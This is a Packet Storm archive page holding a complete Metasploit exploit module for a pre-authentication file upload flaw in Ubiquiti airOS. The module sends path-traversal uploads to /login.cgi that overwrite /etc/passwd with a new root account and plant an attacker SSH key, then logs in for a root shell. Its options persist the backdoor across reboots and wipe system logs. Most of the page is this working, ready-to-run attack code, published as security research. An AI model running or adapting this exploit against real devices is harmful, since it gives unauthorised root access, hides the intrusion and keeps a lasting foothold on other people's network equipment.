what you don't know can hurt you

Ubiquiti airOS Arbitrary File Upload

Ubiquiti airOS Arbitrary File Upload
Posted May 24, 2016
Authored by wvu, 93c08539 | Site metasploit.com

This Metasploit module exploits a pre-auth file upload to install a new root user to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys. FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten. /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true. This method is used by the "mf" malware infecting these devices.

tags | exploit, root, file upload
MD5 | e267290a4d5fe45ab492cc0d0ab34602

Ubiquiti airOS Arbitrary File Upload

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

# See note about overwritten files
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Ubiquiti airOS Arbitrary File Upload',
'Description' => %q{
This module exploits a pre-auth file upload to install a new root user
to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.

FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.
/etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true.

This method is used by the "mf" malware infecting these devices.
},
'Author' => [
'93c08539', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
%w{EDB 39701},
%w{URL https://hackerone.com/reports/73480}
],
'DisclosureDate' => 'Feb 13 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' => [
['Ubiquiti airOS < 5.6.2', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
}
))

register_options([
Opt::RPORT(443),
OptPort.new('SSH_PORT', [true, 'SSH port', 22])
])

register_advanced_options([
OptBool.new('PERSIST_ETC', [false, 'Persist in /etc/persistent', false]),
OptBool.new('WIPE_LOGS', [false, 'Wipe /var/log/messages', false]),
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
])
end

def exploit
print_status('Uploading /etc/passwd')
upload_etc_passwd
print_status('Uploading /etc/dropbear/authorized_keys')
upload_authorized_keys
print_status("Logging in as #{username}")
vprint_status("Password: #{password}")
vprint_status("Private key:\n#{private_key}")
if (ssh = ssh_login)
print_good("Logged in as #{username}")
handler(ssh.lsock)
end
end

def on_new_session(session)
super
if datastore['PERSIST_ETC']
print_status('Persisting in /etc/persistent')
persist_etc(session)
end
if datastore['WIPE_LOGS']
print_status('Wiping /var/log/messages')
wipe_logs(session)
end
end

def upload_etc_passwd
mime = Rex::MIME::Message.new
mime.add_part(etc_passwd, 'text/plain', 'binary',
'form-data; name="passwd"; filename="../../etc/passwd"')

send_request_cgi(
'method' => 'POST',
'uri' => '/login.cgi',
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
end

def upload_authorized_keys
mime = Rex::MIME::Message.new
mime.add_part(authorized_keys, 'text/plain', 'binary',
'form-data; name="authorized_keys"; ' \
'filename="../../etc/dropbear/authorized_keys"')

send_request_cgi(
'method' => 'POST',
'uri' => '/login.cgi',
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
end

def ssh_login
ssh_opts = {
port: datastore['SSH_PORT'],
auth_methods: %w{publickey password},
key_data: [private_key],
# Framework options
msframework: framework,
msfmodule: self,
proxies: datastore['Proxies']
}

ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(rhost, username, ssh_opts)
end
rescue Net::SSH::Exception => e
vprint_error("#{e.class}: #{e.message}")
return nil
end

if ssh
report_vuln(
host: rhost,
name: self.name,
refs: self.references,
info: ssh.transport.server_version.version
)
report_note(
host: rhost,
port: datastore['SSH_PORT'],
type: 'airos.ssh.key',
data: private_key
)
return Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
end

nil
end

#
# Persistence and cleanup methods
#

def persist_etc(session)
mime = Rex::MIME::Message.new
mime.add_part(rc_poststart, 'text/plain', 'binary',
'form-data; name="rc.poststart"; ' \
'filename="../../etc/persistent/rc.poststart"')

send_request_cgi(
'method' => 'POST',
'uri' => '/login.cgi',
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)

# http://www.hwmn.org/w/Ubiquity_HOWTO
commands = [
"mkdir #{username}",
"cp /etc/passwd /etc/dropbear/authorized_keys #{username}",
'cfgmtd -wp /etc'
]

commands.each do |command|
session.shell_command_token(command)
end
end

def wipe_logs(session)
session.shell_command_token('> /var/log/messages')
end

#
# /etc/passwd methods
#

def etc_passwd
"#{username}:#{hash(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n"
end

def hash(password)
# http://man7.org/linux/man-pages/man3/crypt.3.html
salt = Rex::Text.rand_text(2, '', Rex::Text::AlphaNumeric + './')
password.crypt(salt)
end

def username
@username ||= Rex::Text.rand_text_alpha_lower(8)
end

def password
@password ||= Rex::Text.rand_text_alphanumeric(8)
end

#
# /etc/dropbear/authorized_keys methods
#

def authorized_keys
pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
"#{ssh_keygen.ssh_type} #{pubkey}\n"
end

def private_key
ssh_keygen.to_pem
end

def ssh_keygen
@ssh_keygen ||= OpenSSL::PKey::RSA.new(2048)
end

#
# /etc/persistent/rc.poststart methods
#

def rc_poststart
<<EOF
cp /etc/persistent/#{username}/passwd /etc/passwd
cp /etc/persistent/#{username}/authorized_keys /etc/dropbear/authorized_keys
EOF
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    32 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    10 Files
  • 17
    Feb 17th
    2 Files
  • 18
    Feb 18th
    27 Files
  • 19
    Feb 19th
    32 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close